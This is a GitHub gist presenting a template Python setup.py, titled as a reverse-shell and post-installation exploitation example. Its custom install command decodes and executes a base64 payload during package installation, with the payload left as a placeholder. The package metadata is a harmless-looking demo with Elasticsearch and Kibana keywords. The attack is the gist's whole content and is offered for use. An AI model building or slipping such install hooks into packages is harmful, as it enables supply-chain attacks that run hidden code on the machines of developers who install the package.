Skip to content

Instantly share code, notes, and snippets.

@cr0wg4n
Created June 18, 2021 22:11
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save cr0wg4n/4769f9121d90275e4d9ee45a9a5b3467 to your computer and use it in GitHub Desktop.
Save cr0wg4n/4769f9121d90275e4d9ee45a9a5b3467 to your computer and use it in GitHub Desktop.
setup.py reverse-shell and post-installation explotation
import setuptools
from setuptools.command.install import install
class PostInstallCommand(install):
def run(self):
exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('SOME_BASE64_MALICIUS_CODE')[0]))
install.run(self)
with open("README.md", "r", encoding="utf-8") as description:
long_description = description.read()
setuptools.setup(
name="module-demo",
version="0.0.1",
author="Authornymous",
author_email="",
description="This is a demo description",
long_description=long_description,
long_description_content_type="text/markdown",
license='MIT',
url="https://github.com/demo/demo_repo",
project_urls={
"Bug Tracker": "https://github.com/demo/demo_repo/issues",
},
classifiers=[
"Programming Language :: Python :: 3",
"License :: OSI Approved :: MIT License",
"Operating System :: OS Independent",
'Development Status :: 3 - Alpha',
'Intended Audience :: Developers',
'Topic :: Software Development :: Build Tools',
],
keywords=["elasticsearch", "kibana", "development", "api mapping"],
packages=["module_demo"],
package_data={
},
install_requires=[
"requests"
],
python_requires=">=3.0",
cmdclass={
"install": PostInstallCommand
}
)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment